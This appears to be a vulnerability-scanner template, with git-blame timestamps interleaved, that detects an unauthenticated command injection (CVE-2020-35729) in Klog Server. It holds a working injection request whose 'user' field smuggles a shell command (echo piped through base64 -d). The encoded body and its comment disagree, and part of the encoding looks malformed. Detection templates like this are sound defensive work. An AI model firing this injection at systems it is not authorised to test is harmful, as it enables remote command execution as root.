2021-02-26 11:40:25 +00:00
id : CVE-2020-35729
info :
2022-11-29 05:44:10 +00:00
name : Klog Server <=2.41 - Unauthenticated Command Injection
2021-02-26 11:40:25 +00:00
author : dwisiswant0
severity : critical
2022-05-17 09:18:12 +00:00
description : Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can execute arbitrary commands on the server, leading to remote code execution and potential compromise of the system.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to a patched version of Klog Server (>=2.42) or apply the vendor-supplied patch.
2022-04-22 10:38:41 +00:00
reference :
- https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-35729
2022-05-17 09:18:12 +00:00
- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code
- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md
2024-01-29 17:11:14 +00:00
- https://github.com/Z0fhack/Goby_POC
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-35729
cwe-id : CWE-78
2024-01-29 17:11:14 +00:00
epss-score : 0.95566
epss-percentile : 0.99266
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:klogserver:klog_server:2.4.1:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-15 16:29:17 +00:00
vendor : klogserver
product : klog_server
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,klog,rce,klogserver
2023-07-20 07:43:09 +00:00
variables :
dummy : "{{to_lower(rand_text_alpha(5))}}"
2023-04-27 04:28:59 +00:00
http :
2021-02-26 11:40:25 +00:00
- method : POST
path :
- "{{BaseURL}}/actions/authenticate.php"
2023-07-15 16:29:17 +00:00
2023-07-20 07:43:09 +00:00
body : 'user={{dummy}}%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd={{dummy}}' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
2021-02-26 11:40:25 +00:00
matchers :
- type : word
words :
2022-04-29 19:58:07 +00:00
- "poc-testing" # from Base64 decoding payload
2024-01-30 06:46:18 +00:00
# digest: 4b0a004830460221009a8413eb8da32ae540f0c5407408a59e973b61aee402b8f4ba704f472fec5d9a022100956d367efc9e53145c4b07d3bb2b8c5b0bde6f211a12b4e42160e5a4d9783ea2:922c64590222798bb761d5b6d8e72950